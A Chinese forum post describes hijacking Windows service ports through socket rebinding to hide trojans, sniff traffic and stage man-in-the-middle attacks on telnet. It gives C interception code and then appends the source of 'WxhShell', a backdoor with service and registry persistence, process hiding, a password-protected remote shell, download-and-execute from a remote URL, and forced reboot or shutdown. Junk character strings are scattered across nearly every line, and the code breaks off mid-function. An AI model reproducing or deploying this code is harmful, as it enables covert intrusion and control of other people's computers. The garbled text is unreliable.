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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KW+^9&lA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =Q3Go8b4HJ  
=*"Amd,  
  saddr.sin_family = AF_INET; uW Q`  
wqA5GK>m2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L_)?5IOJ$  
5!tmG- 'b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N4)& K[  
YA{Kgc^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [OH>NpL  
T_v  
  这意味着什么?意味着可以进行如下的攻击: ou,W|<%  
nHyWb6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G\jr^d\  
5XFhjVmEL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (Clf]\_II  
k(%RX _]C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $dorE ~T  
F3';oyy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4zJ9bF4  
iLv"ZqGrw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^4 es  
5>h2WL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 //H+S q66  
5'+g'9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Og30&a!~F  
{'>X6:  
  #include 9Ki86  
  #include .}Bb :*@  
  #include Srol0D I  
  #include    mz9Kwxe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6u8`,&U  
  int main() ~aA+L-s|  
  { aW w`v[v  
  WORD wVersionRequested; [m}x  
  DWORD ret; .Ddl.9p5  
  WSADATA wsaData; oY+RG|j@  
  BOOL val; A{&Etu(K  
  SOCKADDR_IN saddr; r)U9u 0  
  SOCKADDR_IN scaddr; pxDZ}4mOh  
  int err; &(Xp_3PO  
  SOCKET s; U?xl%qF`)  
  SOCKET sc; G>#L  
  int caddsize; k E6\G}zj  
  HANDLE mt; #cjB <APY  
  DWORD tid;   #BT= K  
  wVersionRequested = MAKEWORD( 2, 2 ); UT[KwM{y  
  err = WSAStartup( wVersionRequested, &wsaData ); = 2My-%i  
  if ( err != 0 ) { {oz04KGsH  
  printf("error!WSAStartup failed!\n"); "GZhr[AW  
  return -1; Ij#%Qu  
  } pjjs'A*y  
  saddr.sin_family = AF_INET; r8Gq\ ^  
   prIq9U|@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /91H! s  
&^&k]JBaV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 60X B  
  saddr.sin_port = htons(23); I&1Mh4yu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i}+dctg/  
  { >OiC].1   
  printf("error!socket failed!\n"); :Tj,;0#/  
  return -1; He j0l^  
  } 4:6@9.VVT  
  val = TRUE; +k8><_vr}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9;h 1;9sC|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EWH'x$z_q  
  { 7J$ ^R6rh  
  printf("error!setsockopt failed!\n"); xvpS%MS  
  return -1; Oe2Tmvl  
  } &w/aQs~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U$0#j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r}*2~;:pW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $R7d*\(G  
u7a4taM$d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9%\q*  
  {   ;h  
  ret=GetLastError(); BMFpkK9|  
  printf("error!bind failed!\n"); I"<~!krt%  
  return -1; !u4oo-  
  } Fp@eb8Pl  
  listen(s,2); 6pr}A  
  while(1) vcV=9q8P1  
  { Mc76)  
  caddsize = sizeof(scaddr); @iWIgL  
  //接受连接请求 o^DiIo or  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yDy3;*lE  
  if(sc!=INVALID_SOCKET) 27,WP-qie  
  { U R@'J@V#:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -*?a*q/#nQ  
  if(mt==NULL) ,$}v_-:[l  
  { go{'mX)}u  
  printf("Thread Creat Failed!\n"); u\=Nu4)Z F  
  break; +yCIA\i#t6  
  } M=0I 3o}J  
  } >@ge[MuS  
  CloseHandle(mt); 1j0yON  
  } yKfRwO[ j  
  closesocket(s); ;=UrIA@y;=  
  WSACleanup(); O-  r"G  
  return 0; [@>Kd`!'  
  }   :2?i9F0_  
  DWORD WINAPI ClientThread(LPVOID lpParam) /6L\`\g  
  { 3n6_yK+D  
  SOCKET ss = (SOCKET)lpParam; *h-nI=  
  SOCKET sc; )5yZSdA  
  unsigned char buf[4096]; c#CX~  
  SOCKADDR_IN saddr; ; [dcbyu@  
  long num; dVCBpCxI  
  DWORD val; NUx%zY  
  DWORD ret; x#Hq74H,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W0gaOew(^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .F 3v)  
  saddr.sin_family = AF_INET; 7%)4cHZ^$?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M[TgNWl/[  
  saddr.sin_port = htons(23); eJJvEvZ,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }tj@*n_  
  { UyK|KL  
  printf("error!socket failed!\n"); R<k4LHDy  
  return -1; Oo=} j  
  } dc%+f  
  val = 100; Is?0q@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6ng . =  
  { trgj]|?M  
  ret = GetLastError(); DSET!F;PG  
  return -1; LD^V="d  
  } % YU(,83(+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4y)"IOd#|  
  { oD!72W_:  
  ret = GetLastError(); q] ,&$d^@  
  return -1; 3G5i+9Nt.L  
  } p^~lQ8t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ? )0U!)tK  
  { &XgB-}^:  
  printf("error!socket connect failed!\n"); ,{:5Z:<|  
  closesocket(sc); Fwho.R-.  
  closesocket(ss); =b !f  
  return -1; 5:56l>0  
  } MdEZ839J  
  while(1) X g.\B1d  
  { Ibpk\a?A{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G9}[g)R*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mx$VAV^\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9\Yj`,i5  
  num = recv(ss,buf,4096,0); xPsuDi8u  
  if(num>0) l'-iIbKX  
  send(sc,buf,num,0); ogjm6;  
  else if(num==0) dos$d3B4  
  break; rD<@$KpP  
  num = recv(sc,buf,4096,0); gD&%$&q  
  if(num>0) +2C:]  
  send(ss,buf,num,0); e2/&X;2  
  else if(num==0) h r t\  
  break; <qHwY.  
  } s u![ST(  
  closesocket(ss); #sNa}292"  
  closesocket(sc); i"|'p/9@q  
  return 0 ; ^qV*W1|0  
  } &o:ZOD.  
/ ^!(rHf  
eMWY[f3  
========================================================== mn 8A%6W  
DB%=/ \U  
下边附上一个代码,,WXhSHELL 3(vI{[yhT  
@c7 On)sy  
========================================================== T<p>:$vo  
CBi V':;  
#include "stdafx.h" Ig5J_Z^]b  
D2?~03c  
#include <stdio.h> (Rs<'1+>  
#include <string.h> \<;/)!Nmw  
#include <windows.h> O^sgUT1O  
#include <winsock2.h> p &XbXg-  
#include <winsvc.h>  "FG6R'  
#include <urlmon.h> 1a#wUd3  
zPhNV8k-  
#pragma comment (lib, "Ws2_32.lib") zif()i   
#pragma comment (lib, "urlmon.lib") y . AN0  
zjVb+Z\n  
#define MAX_USER   100 // 最大客户端连接数 <lv:mqV  
#define BUF_SOCK   200 // sock buffer ilzR/DJMa  
#define KEY_BUFF   255 // 输入 buffer B;?a. 81~  
C5;"mo-  
#define REBOOT     0   // 重启 I#$u(2.H  
#define SHUTDOWN   1   // 关机 b/ ~&M+)  
]iPTB  
#define DEF_PORT   5000 // 监听端口 R,6?1Z:J  
EeL~`$f  
#define REG_LEN     16   // 注册表键长度 MZ% P(5  
#define SVC_LEN     80   // NT服务名长度 qK(? \ t$  
` LU&]NS3  
// 从dll定义API t {x&|%u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dd98v Vj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yK[ ~(!c5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !cWKY \lpv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .@1\26<  
) c+ ZQq  
// wxhshell配置信息 dR $@vDm  
struct WSCFG { o.y4&bC14;  
  int ws_port;         // 监听端口 F+c*v#T  
  char ws_passstr[REG_LEN]; // 口令 dL[mX .j"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5r`g6@  
  char ws_regname[REG_LEN]; // 注册表键名 [.3M>,)+-  
  char ws_svcname[REG_LEN]; // 服务名 .,tf[w 71  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]sbu9O ^"f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MF%9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :) mV-(+o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \kC/)d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lC^q}Bh:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VI37  
>f}rM20Vm  
}; b"{7f   
CX\# |Q8q  
// default Wxhshell configuration LTFA2X&E=  
struct WSCFG wscfg={DEF_PORT, gIRFqEz@o  
    "xuhuanlingzhe", FnL~8otPF'  
    1, qRB&R$  
    "Wxhshell", umD .  
    "Wxhshell", `[Z?&'CRQ  
            "WxhShell Service", M62V NYt  
    "Wrsky Windows CmdShell Service", . VWH  
    "Please Input Your Password: ", >/evL /  
  1, ~Dgui/r9J  
  "http://www.wrsky.com/wxhshell.exe", Sh{odrMj*  
  "Wxhshell.exe" x!LUhX '  
    }; <fN?=u+  
]Nsb V  
// 消息定义模块 3}Uae#oy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RwY) O5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &eg]8kV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; # Wh"_zpM+  
char *msg_ws_ext="\n\rExit."; gp(w6 :w  
char *msg_ws_end="\n\rQuit."; S(/@.gI:f  
char *msg_ws_boot="\n\rReboot..."; #WfJz}P,!  
char *msg_ws_poff="\n\rShutdown..."; Neey myW  
char *msg_ws_down="\n\rSave to "; sF(U?)48  
tAYu|\]  
char *msg_ws_err="\n\rErr!"; Ml0d^l}'  
char *msg_ws_ok="\n\rOK!"; N[r@Y{  
wk)gxn1A,  
char ExeFile[MAX_PATH]; @Q TG  
int nUser = 0; Z`< +8e  
HANDLE handles[MAX_USER]; _mFb+8C  
int OsIsNt; F~<$E*&h@  
e|]g ?!  
SERVICE_STATUS       serviceStatus; ezHj?@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 31J7# S2  
IKAF%0[R|j  
// 函数声明 )lH?XpfTjm  
int Install(void); C^l) n!fq  
int Uninstall(void); 6n;ewl}  
int DownloadFile(char *sURL, SOCKET wsh);  @(Q4  
int Boot(int flag); 42Ql^ka  
void HideProc(void); qlDLZ.  
int GetOsVer(void); jZ.+b j >  
int Wxhshell(SOCKET wsl); aJIj%Y$  
void TalkWithClient(void *cs); OJ] {FI  
int CmdShell(SOCKET sock); `p'L3u5H-  
int StartFromService(void); 'pZ~3q  
int StartWxhshell(LPSTR lpCmdLine); ~hP[[?  
]Jv Z:'g}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'VR5>r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dI'C[.zp[  
e`8z1r  
// 数据结构和表定义 u4fTC})4{C  
SERVICE_TABLE_ENTRY DispatchTable[] = vjbot^W9  
{ (?q]E$ @  
{wscfg.ws_svcname, NTServiceMain}, x"U/M ?l  
{NULL, NULL} vad" N  
}; H${Ym BG  
h'T\gF E%  
// 自我安装 UDuKG\_J<y  
int Install(void) |oO0%#1H  
{ *GD 1[:  
  char svExeFile[MAX_PATH]; 2NE/ZqREg  
  HKEY key; z36nyo  
  strcpy(svExeFile,ExeFile); d5sG t#   
?55('+{l  
// 如果是win9x系统,修改注册表设为自启动 PS \QbA  
if(!OsIsNt) { EA?:GtH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~4 `NV0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bFJmXx&  
  RegCloseKey(key); w )DO"Z7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V<ODt%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T|9Yo=UK%  
  RegCloseKey(key); 5)&e2V',y  
  return 0; vP&*(WfO)  
    } t"RgEH@  
  } Bg7?1m  
} <J`_Qc8C  
else { {"4t`dM  
9chiu%20  
// 如果是NT以上系统,安装为系统服务 AS4m227  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a$;+-Y  
if (schSCManager!=0) $Q]`+:g*}  
{ 7e}p:Vfp  
  SC_HANDLE schService = CreateService x2|DI)J1'  
  ( !.3 MtXr  
  schSCManager, '90B),c{  
  wscfg.ws_svcname, ub.pJJlC  
  wscfg.ws_svcdisp, yu}4L'e  
  SERVICE_ALL_ACCESS, uiHlaMf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `EWeJ(4Z@  
  SERVICE_AUTO_START, )Tb{O  
  SERVICE_ERROR_NORMAL, b/ZX}<s(1=  
  svExeFile, :(I)+;M}P  
  NULL, !?Ow"i-lp  
  NULL, _k6N(c2Nd  
  NULL, 4 Ag+  
  NULL, 7B7I'{d  
  NULL Gg,,qJO  
  ); zhYE#hv2  
  if (schService!=0) ojyG|Y  
  { %!YsSk,   
  CloseServiceHandle(schService);  ocL  
  CloseServiceHandle(schSCManager); Z < uwqA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KJ'MK~g  
  strcat(svExeFile,wscfg.ws_svcname); HJ_xg6.x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t7)Y@gRy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S :(1=@  
  RegCloseKey(key); T 0^U ]C  
  return 0; U0)(k}Q)  
    } Qy4AuMU2  
  } @X4;fd  
  CloseServiceHandle(schSCManager); \6C"bQ  
} :Z1_;`>CT  
} yd>kJk^~/  
Z\dILt:#z  
return 1; lzm9ClkfH  
} b\^Sz{  
)OjbmU!7  
// 自我卸载 UDp"+nS  
int Uninstall(void) %>24.i"l  
{ fI"`[cA"]  
  HKEY key; CGv(dE,G&]  
B_}=v$  
if(!OsIsNt) { bM;tQ38*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZO0_:T#Z  
  RegDeleteValue(key,wscfg.ws_regname); _KD(V2W  
  RegCloseKey(key); ijoR(R^r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +8 6\&y)  
  RegDeleteValue(key,wscfg.ws_regname); .:<c[EJ b  
  RegCloseKey(key); dcXtT3,kpX  
  return 0; i37W^9 R  
  } U/jJ@8  
} +cj NA2@  
} u&pLF%'EQ  
else { pRt )B`#  
gvwR16N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @^;\(If2  
if (schSCManager!=0) "gK2!N|#  
{ @?gH3Y_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eZg31.  
  if (schService!=0) cl)MI,/>  
  { /md`tqI>i<  
  if(DeleteService(schService)!=0) { u6B (f;  
  CloseServiceHandle(schService); 0*tEuJ7  
  CloseServiceHandle(schSCManager); * z{D}L-&  
  return 0; S6]D;c8GE  
  } 's&Vg09D,  
  CloseServiceHandle(schService); '*)!&4f  
  } U?>zq!C&R  
  CloseServiceHandle(schSCManager); V(w[`^I>~  
} IXz ad  
} ,QKG$F  
j- A S {w  
return 1; b*p,s9k7  
} av`b8cGg  
zb;2xTH+  
// 从指定url下载文件 -R&h?ec  
int DownloadFile(char *sURL, SOCKET wsh) ]FFU,me2  
{ w)!(@}vd  
  HRESULT hr; BE3~f6 `  
char seps[]= "/"; CTPn'P=\C  
char *token; );,#H`'  
char *file; y`(z_5ClT  
char myURL[MAX_PATH]; *w@>zkBl  
char myFILE[MAX_PATH]; E]ZM`bex&  
MJ92S(  
strcpy(myURL,sURL); 4@8i,q>  
  token=strtok(myURL,seps); }n:-nB4  
  while(token!=NULL) tQwbIX-7/  
  { *DG*&Me  
    file=token; nS4~1a  
  token=strtok(NULL,seps); yK}#|b'cM  
  } d628@~ Ekn  
8#kFS@  
GetCurrentDirectory(MAX_PATH,myFILE); Z?v9ub~%  
strcat(myFILE, "\\"); ? 4.W _  
strcat(myFILE, file); y()#FRp7  
  send(wsh,myFILE,strlen(myFILE),0); .Hgiru&  
send(wsh,"...",3,0); kxf'_Nzy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  OSSMIPr  
  if(hr==S_OK) +}^} <|W6  
return 0; _IgG8)k;  
else F92n)*[  
return 1; q<;9!2py  
ly^F?.e-  
} O#k?c }  
e7hPIG  
// 系统电源模块 <BO|.(ys  
int Boot(int flag) ;dB=/U>3U  
{ ~xHr/:  
  HANDLE hToken; xQmk2S` y  
  TOKEN_PRIVILEGES tkp; Kvk;D ]$  
if `/LJsa  
  if(OsIsNt) { (Ojg~P4;&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }4bwLO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qs,LK(1  
    tkp.PrivilegeCount = 1; yLY2_p- X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #z5'5|3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {AcKBi b  
if(flag==REBOOT) { *qq%)7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :b.#h7Qt<  
  return 0; <p<gx*%  
} z?yADYr9  
else { $'&`k,a3|P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bBDgyFSI <  
  return 0; u' r ;-|7  
} d<Z`)hI{K  
  } \k g2pF[V  
  else { J 0s8vAs  
if(flag==REBOOT) { p*dez!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3Um\?fj>}(  
  return 0; o >W}1_  
} ?j $z[_K  
else { ,q:6[~n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  0J_Np  
  return 0; 40:YJ_n  
} Q)Ppx7)  
} NIYAcLa@n8  
3g5i5 G\  
return 1; {yfG_J  
} )Wc#?K  
kmP0gT{Sj  
// win9x进程隐藏模块 0TVO'$Gvi  
void HideProc(void) H9 't;Do  
{ bu$5gGWVf  
qA03EU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &[kwM3 95  
  if ( hKernel != NULL ) ['sIR+c%'O  
  { t(ZiQ<A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }~A-ELe:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A70_hhP  
    FreeLibrary(hKernel); (xxJ^u>QC  
  } xorFz{  
JBg",2w |C  
return; %3kqBH!d  
} fTH?t_e  
[#)$BXG~y  
// 获取操作系统版本 N"2@y aN  
int GetOsVer(void) lffw7T~  
{ Pp26UWW  
  OSVERSIONINFO winfo; Omh(UHZBB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mX"z$  
  GetVersionEx(&winfo); (6.0gB$aTu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r_R|.fl<[  
  return 1; rT"8e*LT  
  else BD9` +9  
  return 0; ;((gmg7,  
} )6!SFj>.O  
27 Lya!/  
// 客户端句柄模块 [#14atv  
int Wxhshell(SOCKET wsl) P;A"`Il  
{ N\xqy-L9  
  SOCKET wsh; W'6*$Ron  
  struct sockaddr_in client; i:W oT4  
  DWORD myID; YF."D%?  
=3& WH0  
  while(nUser<MAX_USER) G19FSLrtA  
{ _c%~\LOk  
  int nSize=sizeof(client); g fO.Ky6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U); ,Opr  
  if(wsh==INVALID_SOCKET) return 1; /e\} qq  
O9g{XhMv>f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b z<wihZj  
if(handles[nUser]==0) xu_Tocvop  
  closesocket(wsh); "qwRcuHY  
else kQ4%J, 7e4  
  nUser++; Ij4\*D!  
  } ( XE`,#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~A"ODLgU9  
tCA |sN  
  return 0; )V9$ P)  
} 5*4P_q(AxD  
TmO\!`  
// 关闭 socket 0w(<pNA  
void CloseIt(SOCKET wsh) _|~2i1 Ms,  
{ LsBDfp5/  
closesocket(wsh); drN^-e  
nUser--; 2Ie50U  
ExitThread(0); <G6wpf8M  
} <Z#u_:5@  
~;U!?  
// 客户端请求句柄 &_!BMzp4  
void TalkWithClient(void *cs) *Z{W,8h*s  
{ o F @{&  
>Z>*Iz,LP  
  SOCKET wsh=(SOCKET)cs; #7'ww*+  
  char pwd[SVC_LEN]; W+1V&a}E  
  char cmd[KEY_BUFF]; SD TX0v  
char chr[1]; $\0j:<o  
int i,j; ,g^Bu {?  
S _#UEf  
  while (nUser < MAX_USER) { lt(,/  
ZXr]V'Q?  
if(wscfg.ws_passstr) { +5^*c^C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o#w6]Fmc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ry/NfF=  
  //ZeroMemory(pwd,KEY_BUFF); ^S, "i V  
      i=0; #<se0CJB  
  while(i<SVC_LEN) { \'1%"JWK   
pz-`Tp w  
  // 设置超时 s-k-|4  
  fd_set FdRead; eW\_9E)cY  
  struct timeval TimeOut; ir/2/ E  
  FD_ZERO(&FdRead); ~\XB'  
  FD_SET(wsh,&FdRead); S,Oy}Nv  
  TimeOut.tv_sec=8; )5]z[sE  
  TimeOut.tv_usec=0; I,?bZ&@8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }eB\k,7L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i?|K+"=D  
:B"'49Q`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cr(pN[,  
  pwd=chr[0]; cL=P((<K?  
  if(chr[0]==0xd || chr[0]==0xa) { RV&2y=eb  
  pwd=0; G#l zB`i  
  break; J"[OH,/_  
  } Jbs:}]2  
  i++; =XoNk1  
    } Kji}2j'a  
zJ &qR  
  // 如果是非法用户,关闭 socket 5X~ko>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ |!q>z  
} }KZ/>Z;^  
b6Ntt Y!3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8N|*n"`}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nPv2: x  
,PIdPaV--  
while(1) { R]ppA=1*_l  
_NZ) n)  
  ZeroMemory(cmd,KEY_BUFF); s"a*S\a;b  
2%WZ-l!i  
      // 自动支持客户端 telnet标准    eKu&_q  
  j=0; iUl{_vb  
  while(j<KEY_BUFF) { XFBk:~}sI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oWJ}]ip  
  cmd[j]=chr[0]; YQ?|Vb U  
  if(chr[0]==0xa || chr[0]==0xd) { gg8T],s1!a  
  cmd[j]=0; dQ^k-  
  break; 8vUP{f6{  
  } UayRT#}]  
  j++; `knw1,qL"  
    } 9|#h )*  
_&BnET  
  // 下载文件 N ~ LR  
  if(strstr(cmd,"http://")) { 40@KL$B=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Q,RVEtKp  
  if(DownloadFile(cmd,wsh)) h` n>6I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%\nJs*  
  else b?bIxCA8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %%-kUe  
  } qo}kwwWN;  
  else { [N$@nA-d  
*nC<1.JW  
    switch(cmd[0]) { 7 s[ ATu  
  NT8%{>F`  
  // 帮助 gW*ee  
  case '?': { MvRuW:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *|`'L  
    break; X;}_[ =-  
  } sI^1c$sBN  
  // 安装 2y<d@z:K  
  case 'i': { bNL E=#ro  
    if(Install()) r&TxRsg{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !`aodz*PO  
    else s:fnOMv "  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fSun{?{  
    break; (@&|  
    } />n0&~k[h  
  // 卸载 E!Ng=}G&_  
  case 'r': { 33u7  
    if(Uninstall()) tB1Qr**  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _IY)<'d  
    else tKJ) 'v?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NZ.aI{  
    break; bF flA  
    } {8"W  
  // 显示 wxhshell 所在路径 !p9BH6$`  
  case 'p': { s"Kp+tTWj  
    char svExeFile[MAX_PATH]; 7IIM8/BI  
    strcpy(svExeFile,"\n\r"); :F<a~_k  
      strcat(svExeFile,ExeFile); =,?@p{g}  
        send(wsh,svExeFile,strlen(svExeFile),0); ZW\h,8%  
    break; bxyU[`  
    } ME |"pJ  
  // 重启 _wX'u,HrC  
  case 'b': { TZHqn6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MD1,KH+O  
    if(Boot(REBOOT)) *tP,Ol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gjs-j{*  
    else { n*;mFV0s  
    closesocket(wsh); 16aaIK  
    ExitThread(0); .y'OoDe  
    } K}$PIW  
    break; j}ruXg  
    } vhUuf+P*  
  // 关机 (d!vm\-PH  
  case 'd': { >|rL0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Cak/5^K  
    if(Boot(SHUTDOWN)) A"P1 B]  
